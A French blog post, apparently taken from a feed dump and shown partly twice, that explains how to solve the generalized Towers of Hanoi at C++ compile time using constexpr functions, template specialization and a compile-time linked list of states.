N / b * b + v N - N % b + d
125 / 10 * 10 + 7 125 - 125 % 10 + 7
12 * 10 + 7 125 - 5 + 7
120 + 7 120 + 7
127 127
Arbitrairement, nous utiliserons la première méthode pour implémenter notre fonction constexpr move(…) :
constexpr state move(state s, tower src, tower target) {
return s % 3 == src
? s / 3 * 3 + target
: move(s / 3, src, target) * 3 + s % 3;
}
De la même manière, définissons une fonction getTower(s, i) qui retourne la tour sur laquelle se trouve le ième plus petit disque :
constexpr tower getTower(state s, size disk) {
return disk == 1
? s % 3
: getTower(s / 3, disk - 1);
}
Attaquons-nous maintenant à la conversion de la fonction solveRec(…). Elle contenait deux branchements (if) et plusieurs instructions séquentielles, que nous allons devoir transformer en une seule instruction return.
Pour cela, nous allons remplacer les branchements par des opérateurs ternaires :
if (C) {
X = A;
} else {
X = B;
}
devient :
X = C ? A : B;
Notez que contrairement à la version if/else, cela implique que les expressions retournent une valeur. Cela tombe bien, comme une fonction constexpr ne peut pas modifier une variable, notre fonction va retourner l’état résultant de la transformation.
Concernant les instructions séquentielles, remarquons qu’elles dépendent successivement les unes des autres. De manière générale, nous pouvons remplacer :
A = f();
B = g(A);
X = h(B);
par:
X = h(g(f()));
En combinant ces principes, la méthode solve(…) peut être écrite ainsi (afin de bien voir l’imbrication des appels, je ne la découpe volontairement pas en plusieurs méthodes) :
constexpr state solve(size disks, state s, tower target) {
return disks == 0
? s
: getTower(s, disks) == target
? solve(disks - 1, s, target)
: solve(disks - 1,
move(solve(disks - 1,
s,
other(getTower(s, disks), target)),
getTower(s, disks),
target),
target);
}
Les appels les plus profonds sont effectués en premier.
Ajoutons une méthode d’affichage pour obtenir la représentation de l’état du système en base 3 :
std::ostream &print_state(std::ostream &os, size ndisks, state s) {
return ndisks ? print_state(os, ndisks - 1, s / 3) << s % 3 : os;
}
(source – commit – tag constexpr)
Compilons et exécutons le programme :
$ g++ -std=c++11 metahanoi.cpp && ./metahanoi
22222
L’état 22222 (soit l’entier 242) est bien écrit en dur dans le binaire généré :
$ g++ -std=c++11 -S metahanoi.cpp && grep 242 metahanoi.s
movq $242, -16(%rbp)
movl $242, %edx
Le compilateur est donc bien parvenu à la solution.
Mais avouons que le résultat est un peu décevant : l’état final, nous le connaissions déjà ; ce qui nous intéresse, c’est le cheminement pour y parvenir. Nous souhaiterions donc qu’en plus, le compilateur nous indique, d’une manière ou d’une autre, les étapes intermédiaires décrivant la solution du problème.
Pour cela, nous allons utiliser les templates.
Pour comprendre comment les templates vont nous aider, commençons par quelques précisions.
Les classes template sont souvent utilisées avec des paramètres types. Par exemple, std::vector<int> définit un nouveau type paramétré par le type int. Mais il est également possible de passer des paramètres non-types, qui sont alors des valeurs "simples".
Une classe template ne définit pas un type, mais permet de générer des types selon les paramètres qui lui sont affectés. Concrètement, std::vector<int> et std::vector<double> sont des types totalement différents, comme s’ils étaient implémentés par deux classes écrites séparément.
Dit autrement, la classe est au template ce que l’objet est à la classe : une instance. Mais c’est une instance qui existe lors de la phase de compilation !
+----------------+
| CLASS TEMPLATE |
+----------------+
| template
| instantiation
v COMPILE TIME
+----------------+
| CLASS / TYPE | -----------------------
+----------------+
| class RUNTIME
| instantiation
v
+----------------+
| OBJECT |
+----------------+
De la même manière qu’une variable d’instance existe pour chaque objet (instance de classe), une variable static existe pour chaque classe (instance de template).
Pour conserver les états successifs de la résolution du problème des tours de Hanoï, nous allons donc créer une classe par étape, dans laquelle nous allons pouvoir y stocker un état static. Nous voulons donc remplacer notre fonction solve(…) par des classes template.
Pour illustrer comment, commençons par un template simple effectuant la somme de deux entiers :
template <int I, int J>
struct Sum {
static constexpr int result = I + J;
};
Sum<3, 4>::result est calculé à la compilation et vaut 7.
Prenons maintenant l’exemple d’un calcul récursif : la factorielle d’un entier. Il nous faut implémenter à la fois le cas général et la condition d’arrêt. Nous pourrions penser à utiliser l’opérateur ternaire ainsi :
template <int N>
struct Fact {
// does not work!
static constexpr int result = N == 0 ? 1 : N * Fact<N - 1>::result;
};
Malheureusement, ceci ne peut pas fonctionner, car pour calculer la valeur d’une expression, le compilateur doit d’abord calculer le type de chacun des opérandes. Par conséquent, Fact<N - 1> sera généré même si N == 0. La récursivité ne s’arrête donc jamais, provoquant une erreur à la compilation :
error: template instantiation depth exceeds maximum of 900
Comment faire alors ? La clé réside dans la spécialisation de templates, qui permet de sélectionner l’implémentation de la classe en fonction des paramètres :
template <int N>
struct Fact {
static constexpr int result = N * Fact<N-1>::result;
};
template <>
struct Fact<0> {
static constexpr int result = 1;
};
Lorsque Fact est instancié avec le paramètre 0, la classe est générée à partir du template spécialisé, stoppant ainsi la récursivité.
Appliquons ce principe à notre algorithme des tours de Hanoï. Nous allons définir une classe template Solver avec 3 paramètres de template, les mêmes que notre fonction solve(…) :
template <size DISKS, state S, tower TARGET>
struct SolverRec { … };
Puis nous allons en définir une spécialisation pour le cas où DISKS vaut 0 :
template <state S, tower TARGET>
struct SolverRec<0, S, TARGET> { … };
Nous avons ainsi implémenté le premier branchement sur la condition DISKS == 0.
Un second branchement reste à réaliser : le calcul à effectuer est différent selon si le plus grand disque parmi les DISKS derniers est déjà sur la tour cible ou non. Celui-ci est plus compliqué, car les paramètres de template présents ne permettent pas d’évaluer sa condition.
Nous allons donc devoir ajouter en paramètre la position du disque SRC afin de pouvoir sélectionner la bonne implémentation en fonction de la condition SRC == TARGET. Sa valeur étant déterminée par celle des autres paramètres, l’ajout de SRC ne va pas entraîner la création de nouveaux types. Par contre, il multiplie les cas à implémenter :
// cas général
template <size DISKS, state S, tower SRC, tower TARGET>
struct SolverRec { … };
// quand SRC == TARGET (le disque est déjà bien placé)
template <size DISKS, state S, tower TOWER>
struct SolverRec<DISKS, S, TOWER, TOWER> { … };
// quand il ne reste plus qu'un seul disque, mal placé
template <state S, tower SRC, tower TARGET>
struct SolverRec<1, S, SRC, TARGET> { … };
// quand il ne reste plus qu'un seul disque, déjà bien placé
template <state S, tower TOWER>
struct SolverRec<1, S, TOWER, TOWER> { … };
Les plus observateurs auront remarqué que désormais, la récursivité s’arrête à 1 disque, et non plus 0 comme précédemment. En effet, maintenant que le paramètre SRC est ajouté, il va falloir le calculer (grâce à getTower(…)) avant d’utiliser le type. Or, cela n’a pas de sens de récupérer la position d’un disque lorsque nous n’avons pas de disques. D’ailleurs, l’exécution de getTower(…) avec disk == 0 provoquerait une erreur… de compilation (vu que l’exécution se déroule à la compilation).
Nous avons maintenant 4 versions de la classe template SolverRec à écrire. Chacune devra contenir l’état final résultant du déplacement de DISKS disques de la tour SRC vers la tour TARGET à partir de l’état S. Cet état sera stocké dans une constante final_state, présente dans chacune des spécialisations.
Voici mon implémentation :
template <size DISKS, state S, tower SRC, tower TARGET>
struct SolverRec {
static constexpr tower nextSrc = getTower(S, DISKS - 1);
static constexpr tower inter = other(SRC, TARGET);
using rec1 = SolverRec<DISKS - 1, S, nextSrc, inter>;
static constexpr state value = move(rec1::final_state, SRC, TARGET);
using rec2 = SolverRec<DISKS - 1, value, inter, TARGET>;
static constexpr state final_state = rec2::final_state;
};
template <size DISKS, state S, tower TOWER>
struct SolverRec<DISKS, S, TOWER, TOWER> {
static constexpr tower nextSrc = getTower(S, DISKS - 1);
using rec = SolverRec<DISKS - 1, S, nextSrc, TOWER>;
static constexpr state final_state = rec::final_state;
};
template <state S, tower SRC, tower TARGET>
struct SolverRec<1, S, SRC, TARGET> {
static constexpr state final_state = move(S, SRC, TARGET);
};
template <state S, tower TOWER>
struct SolverRec<1, S, TOWER, TOWER> {
static constexpr state final_state = S;
};
Le type (déterminé par les arguments des templates) correspondant aux appels récursifs dépend des valeurs constexpr calculées dans la classe. C’est à l’appelant de calculer la tour source pour renseigner la valeur du paramètre SRC.
Par commodité, nous pouvons aussi ajouter une classe template Solver, qui calcule elle-même la tour SRC du plus grand disque lors du démarrage.
template <size DISKS, state S, tower TARGET>
struct Solver {
static constexpr tower src = getTower(S, DISKS);
using start = SolverRec<DISKS, S, src, TARGET>;
static constexpr state final_state = start::final_state;
};
(source – commit – tag templates)
De cette manière, pour calculer l’état résultant du déplacement de 5 disques à l’état 00000 (l’entier 0) vers la tour 2, il suffit de lire la variable :
Solver<5, 0, 2>::final_state;
Nous avons donc converti notre implementation d’une simple fonction constexpr en classes template. Fonctionnellement équivalente pour l’instant, cette nouvelle version met en place les fondations pour récupérer, à l’exécution, les étapes de la résolution du problème calculées à la compilation.
Mais avant cela, dotons-nous d’un outil pour décrire l’état initial facilement, qui pour l’instant doit être exprimé grâce à un state, c’est-à-dire un entier.
L’idée serait que l’état et le nombre de disques soit calculé automatiquement à la compilation à partir de la liste des positions des disques :
Disks<1, 2, 0, 1, 2>
Contrairement à précedemment, ici, nous avons besoin d’un nombre indéterminé de paramètres. Nous allons donc utiliser les variadic templates :
template <tower ...T>
struct Disks;
Remarquez que ce template est juste déclaré et non défini.
Pour parcourir les paramètres, nous avons besoin de deux spécialisations (une pour la récursion et une pour la condition d’arrêt) :
template <tower H, tower ...T>
struct Disks<H, T...> { … };
template <>
struct Disks<> { … };
Chacune des deux spécialisent le template déclaré, mais remarquez que l’une n’est pas une spécialisation de l’autre. C’est la raison pour laquelle nous avons besoin de déclarer un template (sans le définir) dont ces deux définitions sont une spécialisation.
Voici l’implémentation :
template <tower H, tower ...T>
struct Disks<H, T...> {
static constexpr state count = 1 + sizeof...(T);
static constexpr state pack(state tmp) {
return Disks<T...>::pack(tmp * 3 + H);
}
static constexpr state packed = pack(0);
};
template <>
struct Disks<> {
static constexpr state count = 0;
static constexpr state pack(state tmp) { return tmp; };
static constexpr state packed = 0;
};
Le nombre de disques est initialisé en comptant les paramètres grâce à l’opérateur sizeof....
L’état compacté est stocké dans la variable packed. Étant donné que les premiers paramètres traités seront les digits de poids fort, la multiplication devra être effectuée par les appels récursifs plus profonds. C’est la raison pour laquelle j’utilise une fonction temporaire qui permet d’initialiser packed.
Nous pouvons maintenant initialiser notre solver ainsi :
using disks = Disks<1, 2, 0, 1, 2>;
using solver = Solver<disks::count, disks::packed, 2>;
Attaquons-nous maintenant à l’affichage des états successifs.
Le plus simple consiste à implémenter une méthode print(…) dans chacune des classes SolverRec, affichant l’état associé et/ou appellant récursivement les méthodes print(…) sur les instances de SolverRec utilisées pour la résolution du problème.
Pour cela, nous devons auparavant déterminer, pour chaque template instancié, quel état afficher. Par exemple, pour les classes crées à partir de l’implémentation du template non spécialisé, il y a plusieurs états accessibles :
S) ;rec1::final_state) ;value) ;final_state).C’est en fait l’état value qu’il faut afficher :
Il est important de différencier, pour chaque SolverRec, l’état final, représentant l’état après l’application de tous les déplacements demandés, de l’état suivant le seul déplacement unitaire (s’il existe) associé à la classe. C’est ce dernier que nous voulons afficher.
Nous allons donc ajouter dans les 4 versions du template SolverRec une méthode :
static std::ostream &print(std::ostream &os, size ndisks);
Le paramètre std::ostream &os permet juste de préciser sur quel flux écrire (std::cout par exemple) ; il est retourné pour pouvoir le chaîner avec d’autres écritures (comme << std::endl).
Cette méthode a besoin de connaître le nombre total de disques, afin d’afficher le bon nombre de digits. Notez que cette valeur est différente du paramètre de template DISKS, qui correspond au nombre de disques à déplacer pour le niveau de récursivité courant.
template <size DISKS, state S, tower SRC, tower TARGET>
struct SolverRec {
static constexpr tower nextSrc = getTower(S, DISKS - 1);
static constexpr tower inter = other(SRC, TARGET);
using rec1 = SolverRec<DISKS - 1, S, nextSrc, inter>;
static constexpr state value = move(rec1::final_state, SRC, TARGET);
using rec2 = SolverRec<DISKS - 1, value, inter, TARGET>;
static constexpr state final_state = rec2::final_state;
static std::ostream &print(std::ostream &os, size ndisks) {
rec1::print(os, ndisks);
print_state(os, ndisks, value) << std::endl;
rec2::print(os, ndisks);
return os;
}
};
template <size DISKS, state S, tower TOWER>
struct SolverRec<DISKS, S, TOWER, TOWER> {
static constexpr tower nextSrc = getTower(S, DISKS - 1);
using rec = SolverRec<DISKS - 1, S, nextSrc, TOWER>;
static constexpr state final_state = rec::final_state;
static std::ostream &print(std::ostream &os, size ndisks) {
rec::print(os, ndisks);
return os;
}
};
template <state S, tower SRC, tower TARGET>
struct SolverRec<1, S, SRC, TARGET> {
static constexpr state value = move(S, SRC, TARGET);
static constexpr state final_state = value;
static std::ostream &print(std::ostream &os, size ndisks) {
print_state(os, ndisks, value) << std::endl;
return os;
}
};
template <state S, tower TOWER>
struct SolverRec<1, S, TOWER, TOWER> {
static constexpr state value = S;
static constexpr state final_state = value;
static std::ostream &print(std::ostream &os, size ndisks) {
return os;
}
};
Seules les versions du template pour lesquelles SRC != TARGET affichent un état. Les autres n’ont rien à afficher directement.
Ajoutons également, par commodité, une méthode similaire dans le template Solver (sans le paramètre ndisks, car ici il est toujours égal à DISKS) :
template <size DISKS, state S, tower TARGET>
struct Solver {
static constexpr tower src = getTower(S, DISKS);
using start = SolverRec<DISKS, S, src, TARGET>;
static constexpr state final_state = start::final_state;
static std::ostream &print(std::ostream &os) {
print_state(std::cout, DISKS, S) << std::endl; // initial state
return start::print(os, DISKS);
}
};
Cette nouvelle version affiche bien lors de l’exécution les états calculés lors de la compilation.
Cependant, les appels récursifs nécessaires à la résolution du problème ne sont pas supprimés : ils sont nécessaires à l’affichage des résultats. Il est dommage de résoudre le problème à la compilation si c’est pour que l’exécution repasse par chacune des étapes de la résolution pour l’affichage.
Pour éviter cela, nous allons générer à la compilation une liste chaînée des étapes qu’il ne restera plus qu’à parcourir à l’exécution. Chaque classe qui affichait un état va désormais stocker un nœud de la liste chainée, implémenté ainsi :
struct ResultNode {
state value;
ResultNode *next;
};
Le défi est maintenant d’initialiser les champs next de chacun des nœuds à l’adresse du nœud suivant dans l’ordre de résolution du problème des tours de Hanoï, et non dans l’ordre des appels récursifs, qui est différent. Par exemple, l’état (value) associé à une instance du template SolverRec non spécialisé (correspondant au cas général) devra succéder à tous les états générés par l’appel récursif rec1, pourtant appelé après.
Pour cela, chaque classe doit être capable d’indiquer à son appelant quel est le premier nœud qu’elle peut atteindre (first) et passer à chaque classe appelée le nœud qui devra suivre son nœud final (AFTER). Ces informations suffisent à déterminer dans tous les cas le nœud suivant d’une classe donnée, ce qui permet de constituer la liste chaînée complète en mémoire :
template <size DISKS, state S, tower SRC, tower TARGET, ResultNode *AFTER>
struct SolverRec {
static ResultNode node;
static constexpr tower nextSrc = getTower(S, DISKS - 1);
static constexpr tower inter = other(SRC, TARGET);
using rec1 = SolverRec<DISKS - 1, S, nextSrc, inter, &node>;
static constexpr state value = move(rec1::final_state, SRC, TARGET);
using rec2 = SolverRec<DISKS - 1, value, inter, TARGET, AFTER>;
static constexpr state final_state = rec2::final_state;
static constexpr ResultNode *first = rec1::first;
static constexpr ResultNode *next = rec2::first;
};
template <size DISKS, state S, tower SRC, tower TARGET, ResultNode *AFTER>
ResultNode SolverRec<DISKS, S, SRC, TARGET, AFTER>::node = { value, next };
template <size DISKS, state S, tower TOWER, ResultNode *AFTER>
struct SolverRec<DISKS, S, TOWER, TOWER, AFTER> {
static constexpr tower nextSrc = getTower(S, DISKS - 1);
using rec = SolverRec<DISKS - 1, S, nextSrc, TOWER, AFTER>;
static constexpr state final_state = rec::final_state;
static constexpr ResultNode *first = rec::first;
};
template <state S, tower SRC, tower TARGET, ResultNode *AFTER>
struct SolverRec<1, S, SRC, TARGET, AFTER> {
static ResultNode node;
static constexpr state value = move(S, SRC, TARGET);
static constexpr state final_state = value;
static constexpr ResultNode *first = &node;
static constexpr ResultNode *next = AFTER;
};
template <state S, tower SRC, tower TARGET, ResultNode *AFTER>
ResultNode SolverRec<1, S, SRC, TARGET, AFTER>::node = { value, next };
template <state S, tower TOWER, ResultNode *AFTER>
struct SolverRec<1, S, TOWER, TOWER, AFTER> {
static constexpr state value = S;
static constexpr state final_state = value;
static constexpr ResultNode *first = AFTER;
};
template <size DISKS, state S, tower TARGET>
struct Solver {
static ResultNode list;
static constexpr tower src = getTower(S, DISKS);
using start = SolverRec<DISKS, S, src, TARGET, nullptr>;
};
template <size DISKS, state S, tower TARGET>
ResultNode Solver<DISKS, S, TARGET>::list = { S, start::first };
La variable static node n’étant pas constexpr (elle doit être adressable à l’exécution pour former la liste chaînée), elle doit être initialisée en dehors de la classe.
Pour parcourir simplement la liste chaînée, rendons ResultNode itérable (j’implémente ici uniquement le strict minimum pour que l’iterator fonctionne) :
struct ResultNode {
state value;
ResultNode *next;
class iterator {
const ResultNode *current;
public:
iterator(const ResultNode *current) : current(current) {};
iterator &operator++() { current = current->next; return *this; }
state operator*() { return current->value; }
bool operator==(const iterator &o) { return current == o.current; }
bool operator!=(const iterator &o) { return !(*this == o); }
};
iterator begin() const { return iterator(this); }
iterator end() const { return iterator(nullptr); }
};
La liste peut être parcourue ainsi :
using disks = Disks<0, 0, 0, 0, 0>;
using solver = Solver<disks::count, disks::packed, 2>;
for (state s : solver::list) {
print_state(std::cout, disks::count, s) << std::endl;
}
En observant le binaire généré, la liste chaînée est directement visible (ici les octets sont en little endian) :
$ objdump -sj .data metahanoi
metahanoi: file format elf64-x86-64
Contents of section .data:
6012a0 00000000 00000000 00000000 00000000
6012b0 00000000 00000000 00136000 00000000 n00: { 00000, &n05 }
6012c0 ca000000 00000000 f0136000 00000000 n01: { 21111, &n20 }
6012d0 35000000 00000000 70136000 00000000 n02: { 01222, &n12 }
6012e0 16000000 00000000 30136000 00000000 n03: { 00211, &n08 }
6012f0 05000000 00000000 10136000 00000000 n04: { 00012, &n06 }
601300 02000000 00000000 f0126000 00000000 n05: { 00002, &n04 }
601310 04000000 00000000 e0126000 00000000 n06: { 00011, &n03 }
601320 18000000 00000000 40136000 00000000 n07: { 00220, &n09 }
601330 15000000 00000000 20136000 00000000 n08: { 00210, &n07 }
601340 1a000000 00000000 d0126000 00000000 n09: { 00222, &n02 }
601350 24000000 00000000 a0136000 00000000 n10: { 01100, &n15 }
601360 2e000000 00000000 80136000 00000000 n11: { 01201, &n13 }
601370 34000000 00000000 60136000 00000000 n12: { 01221, &n11 }
601380 2d000000 00000000 50136000 00000000 n13: { 01200, &n10 }
601390 29000000 00000000 b0136000 00000000 n14: { 01112, &n16 }
6013a0 26000000 00000000 90136000 00000000 n15: { 01102, &n14 }
6013b0 28000000 00000000 c0126000 00000000 n16: { 01111, &n01 }
6013c0 d8000000 00000000 60146000 00000000 n17: { 22000, &n27 }
6013d0 c5000000 00000000 20146000 00000000 n18: { 21022, &n23 }
6013e0 cc000000 00000000 00146000 00000000 n19: { 21120, &n21 }
6013f0 c9000000 00000000 e0136000 00000000 n20: { 21110, &n19 }
601400 ce000000 00000000 d0136000 00000000 n21: { 21122, &n18 }
601410 be000000 00000000 30146000 00000000 n22: { 21001, &n24 }
601420 c4000000 00000000 10146000 00000000 n23: { 21021, &n22 }
601430 bd000000 00000000 c0136000 00000000 n24: { 21000, &n17 }
601440 ee000000 00000000 90146000 00000000 n25: { 22211, &n30 }
601450 dd000000 00000000 70146000 00000000 n26: { 22012, &n28 }
601460 da000000 00000000 50146000 00000000 n27: { 22002, &n26 }
601470 dc000000 00000000 40146000 00000000 n28: { 22011, &n25 }
601480 f0000000 00000000 a0146000 00000000 n29: { 22220, &n31 }
601490 ed000000 00000000 80146000 00000000 n30: { 22210, &n29 }
6014a0 f2000000 00000000 00000000 00000000 n31: { 22222, nullptr }
La colonne de gauche correspond aux adresses des données. Les 4 colonnes suivantes contiennent des blocs de 4 octets, les deux premiers de chaque ligne représentant le champ value et les deux suivants le champ next de ResultNode, que j’ai réécrits de manière plus lisible à droite.
Cette représentation interpelle : pourquoi ne pas stocker plus simplement les différents états dans l’ordre, plutôt que d’utiliser des indirections pour former une liste chaînée ?
Malheureusement, je n’ai pas trouvé de solution pour stocker les états ordonnés dans un seul tableau d’entiers dès la compilation.
Si quelqu’un y parvient, ça m’intéresse !
";s:7:"dateiso";s:15:"20150327_205308";}s:15:"20150327_195308";a:7:{s:5:"title";s:62:"Exécuter un algorithme lors de la compilation (templates C++)";s:4:"link";s:89:"https://blog.rom1v.com/2015/03/executer-un-algorithme-lors-de-la-compilation-templates-c/";s:4:"guid";s:88:"https://blog.rom1v.com/2015/03/executer-un-algorithme-lors-de-la-compilation-templates-c";s:7:"pubDate";s:25:"2015-03-27T19:53:08+01:00";s:11:"description";s:0:"";s:7:"content";s:103679:"
En général, pour résoudre un problème donné, nous écrivons un algorithme dans un langage source, puis nous le compilons (dans le cas d’un langage compilé). La compilation consiste à traduire le code source en un code exécutable par une machine cible. C’est lors de l’exécution de ce fichier que l’algorithme est déroulé.
Mais certains langages, en l’occurrence C++, proposent des mécanismes permettant un certain contrôle sur la phase de compilation, tellement expressifs qu’ils permettent la métaprogrammation. Nous pouvons alors faire exécuter un algorithme directement par le compilateur, qui se contente de produire un fichier exécutable affichant le résultat.
À titre d’exemple, je vais présenter dans ce billet comment résoudre le problème des tours de Hanoï (généralisé, c’est-à-dire quelque soit la position initiale des disques) lors de la phase de compilation.
Les programmes complets décrits dans ce billet sont gittés :
git clone http://git.rom1v.com/metahanoi.git
(ou sur github)
La résolution naturelle du problème généralisé des tours de Hanoï est récursive.
Pour déplacer n disques vers la tour T, il faut:
En voici une implémentation classique en C++ (le compilateur va générer le code permettant d’exécuter l’algorithme) :
#include <iterator>
#include <iostream>
#include <vector>
class Hanoi {
using tower = unsigned int;
using size = unsigned int;
std::vector<tower> state; // disk number i is on tower state[i]
public:
Hanoi(std::initializer_list<tower> init) : state(init) {}
void solve(tower target) {
printState(); // initial state
solveRec(state.size(), target);
}
private:
void solveRec(size disks, tower target) {
if (disks == 0) {
return;
}
// the tower of the largest disk at this depth of recursion
tower &largest = state[state.size() - disks];
if (largest == target) {
// the largest disk is already on the target tower
solveRec(disks - 1, target);
} else {
// move disks above the largest to the intermediate tower
solveRec(disks - 1, other(largest, target));
// move the largest disk to the target
largest = target;
printState();
// move back the disks on the largest
solveRec(disks - 1, target);
}
}
void printState() {
std::copy(state.cbegin(), state.cend(),
std::ostream_iterator<tower>(std::cout));
std::cout << std::endl;
}
static inline tower other(tower t1, tower t2) {
return 3 - t1 - t2;
}
};
int main() {
Hanoi{ 0, 0, 0, 0, 0 }.solve(2);
return 0;
}(source – commit – tag runtime)
À compiler avec :
g++ -std=c++11 hanoi.cpp -o hanoiL’algorithme utilise un simple vecteur de positions des disques, indexés du plus grand au plus petit, pour stocker l’état courant.
Par exemple, l’état { 0, 0, 0, 0 } représente 4 disques sur la tour 0 :
state = { 0, 0, 0, 0 };
0 1 2
| | |
-+- | |
--+-- | |
---+--- | |
----+---- | |
L’état { 1, 1, 0, 2 }, quant-à lui, représente ces positions:
state = { 1, 1, 2, 1 };
0 1 2
| | |
| | |
| -+- |
| ---+--- |
| ----+---- --+--
Dans cette version, pour déplacer le disque i, il suffit alors de changer la
valeur de state[i].
Il serait possible d’utiliser une structure de données différente, comme un vecteur par tour stockant les numéros des disques présents, mais celle que j’ai choisie sera beaucoup plus adaptée pour la suite.
Étant données 2 tours T1 et T2, il est très facile d’en déduire la 3e : 3 -
T1 - T2. Ce calcul est extrait dans la fonction inlinée other(…).
Le contexte étant présenté, essayons maintenant d’implémenter le même algorithme pour le faire exécuter par le compilateur.
std::vector est une structure de données utilisable uniquement à l’exécution :
il n’est pas possible d’en créer ou d’en utiliser une instance lors de la
compilation. Même l’utilisation d’un simple tableau d’entiers nous poserait des
problèmes par la suite.
Nous allons donc grandement simplifier le stockage des positions des disques, en utilisant un seul entier. En effet, à chaque disque est associée une tour qui peut être 0, 1 ou 2. Par conséquent, un chiffre en base 3 (un trit) suffit pour stocker la position d’une tour.
Ainsi, nous pouvons représenter l’état { 1, 2, 1, 0, 2 } par l’entier 146
(1×81 + 2×27 + 1×9 + 0×3 + 2×1) :
| 34 | 33 | 32 | 31 | 30 |
|---|---|---|---|---|
| 1 | 2 | 1 | 0 | 2 |
Au passage, voici comment convertir rapidement un nombre dans une autre base en shell (pratique pour débugger) :
$ echo 'ibase=3; 12102' | bc
146
$ echo 'obase=3; 146' | bc
12102
Nous allons utiliser le type entier le plus long, à savoir unsigned long
long, stockant au minimum 64 bits, soit 64 digits en base 2. En base
3, cela représente 64 × ln(2)/ln(3) ≃ 40 digits : nous pouvons donc stocker la
position de 40 disques dans un seul entier.
Pour cela, définissons un type state :
using state = unsigned long long;Nous allons écrire une première ébauche n’utilisant que des expressions
constantes, clairement indiquées et vérifiées depuis C++11 grâce au mot-clé
constexpr. Une fonction
constexpr doit, en gros, n’être composé que d’une instruction return.
C’est le cas à l’évidence pour notre fonction other(…) :
constexpr tower other(tower t1, tower t2) {
return 3 - t1 - t2;
}Grâce à l’opérateur ternaire et à la récursivité, nous pouvons cependant en écrire de plus complexes.
Dans notre programme classique, le déplacement d’un disque i se résumait à
changer la valeur de state[i]. Maintenant que l’état du système est compacté
dans un seul entier, l’opération est moins directe.
Soit l’état courant { 0, 1, 2, 0, 0 } (ou plus simplement 01200). Supposons
que nous souhaitions déplacer le disque au sommet de la tour 2 vers la tour 1.
Cela consiste, en fait, à remplacer le dernier 2 par un 1 (rappelez-vous,
les disques sont indexés du plus grand au plus petit). Le résultat attendu est
donc 01100.
Notez que ce déplacement n’est pas toujours autorisé. Par exemple, le disque au sommet de la tour 2 est plus grand (i.e. a un plus petit index) que celui au sommet de la tour 0, il n’est donc pas possible de le déplacer vers la tour 0. C’est à l’algorithme que revient la responsabilité de n’effectuer que des déplacements légaux.
Remplacer le dernier digit x de la représentation d’un nombre N (dans une base quelconque) par y peut s’implémenter récursivement :
Concrètement :
N N\d d { x=2, y=1 }
01200 0120 0 // d != x : remplacer x par y dans N\d
0120 012 0 // d != x : remplacer x par y dans N\d
012 01 2 // d == x : remplacer x par y
011 01 1 // d = y
0110 011 0 // recoller d au résultat
01100 0110 0 // recoller d au résultat
Il reste à expliciter l’étape du remplacement du digit. De manière générale,
remplacer par un chiffre d le dernier digit d’un nombre N exprimé dans une
base b consiste à calculer, soit N / b * b + d, soit de manière équivalente
N - N % b + d (/ représentant la division entière et % le
modulo). Dans les deux cas, l’opération annule le dernier digit puis ajoute
son remplaçant.
Sur un exemple en base 10, c’est évident. Remplaçons le dernier chiffre de 125 par 7 selon les deux méthodes :
N / b * b + v N - N % b + d
125 / 10 * 10 + 7 125 - 125 % 10 + 7
12 * 10 + 7 125 - 5 + 7
120 + 7 120 + 7
127 127
Arbitrairement, nous utiliserons la première méthode pour implémenter notre
fonction constexpr move(…) :
constexpr state move(state s, tower src, tower target) {
return s % 3 == src
? s / 3 * 3 + target
: move(s / 3, src, target) * 3 + s % 3;
}De la même manière, définissons une fonction getTower(s, i) qui retourne la
tour sur laquelle se trouve le _i_ème plus petit disque :
constexpr tower getTower(state s, size disk) {
return disk == 1
? s % 3
: getTower(s / 3, disk - 1);
}Attaquons-nous maintenant à la conversion de la fonction solveRec(…). Elle
contenait deux branchements (if) et plusieurs instructions séquentielles, que
nous allons devoir transformer en une seule instruction return.
Pour cela, nous allons remplacer les branchements par des opérateurs ternaires :
if (C) {
X = A;
} else {
X = B;
}devient :
X = C ? A : B;Notez que contrairement à la version if/else, cela implique que les
expressions retournent une valeur. Cela tombe bien, comme une fonction
constexpr ne peut pas modifier une variable, notre fonction va retourner
l’état résultant de la transformation.
Concernant les instructions séquentielles, remarquons qu’elles dépendent successivement les unes des autres. De manière générale, nous pouvons remplacer :
A = f();
B = g(A);
X = h(B);par:
X = h(g(f()));En combinant ces principes, la méthode solve(…) peut être écrite ainsi (afin
de bien voir l’imbrication des appels, je ne la découpe volontairement pas en
plusieurs méthodes) :
constexpr state solve(size disks, state s, tower target) {
return disks == 0
? s
: getTower(s, disks) == target
? solve(disks - 1, s, target)
: solve(disks - 1,
move(solve(disks - 1,
s,
other(getTower(s, disks), target)),
getTower(s, disks),
target),
target);
}Les appels les plus profonds sont effectués en premier.
Ajoutons une méthode d’affichage pour obtenir la représentation de l’état du système en base 3 :
std::ostream &print_state(std::ostream &os, size ndisks, state s) {
return ndisks ? print_state(os, ndisks - 1, s / 3) << s % 3 : os;
}(source – commit – tag
constexpr)
Compilons et exécutons le programme :
$ g++ -std=c++11 metahanoi.cpp && ./metahanoi
22222
L’état 22222 (soit l’entier 242) est bien écrit en dur dans le binaire
généré :
$ g++ -std=c++11 -S metahanoi.cpp && grep 242 metahanoi.s
movq $242, -16(%rbp)
movl $242, %edx
Le compilateur est donc bien parvenu à la solution.
Mais avouons que le résultat est un peu décevant : l’état final, nous le connaissions déjà ; ce qui nous intéresse, c’est le cheminement pour y parvenir. Nous souhaiterions donc qu’en plus, le compilateur nous indique, d’une manière ou d’une autre, les étapes intermédiaires décrivant la solution du problème.
Pour cela, nous allons utiliser les templates.
Pour comprendre comment les templates vont nous aider, commençons par quelques précisions.
Les classes template sont souvent utilisées avec des paramètres
types. Par exemple, std::vector<int> définit un
nouveau type paramétré par le type int. Mais il est également possible de
passer des paramètres non-types, qui sont alors
des valeurs “simples”.
Une classe template ne définit pas un type, mais permet de générer des types
selon les paramètres qui lui sont affectés. Concrètement, std::vector<int> et
std::vector<double> sont des types totalement différents, comme s’ils étaient
implémentés par deux classes écrites séparément.
Dit autrement, la classe est au template ce que l’objet est à la classe : une instance. Mais c’est une instance qui existe lors de la phase de compilation !
+----------------+
| CLASS TEMPLATE |
+----------------+
| template
| instantiation
v COMPILE TIME
+----------------+
| CLASS / TYPE | -----------------------
+----------------+
| class RUNTIME
| instantiation
v
+----------------+
| OBJECT |
+----------------+
De la même manière qu’une variable d’instance existe pour chaque objet (instance
de classe), une variable static existe pour chaque classe (instance de
template).
Pour conserver les états successifs de la résolution du problème des tours de
Hanoï, nous allons donc créer une classe par étape, dans laquelle nous allons
pouvoir y stocker un état static. Nous voulons donc remplacer notre fonction
solve(…) par des classes template.
Pour illustrer comment, commençons par un template simple effectuant la somme de deux entiers :
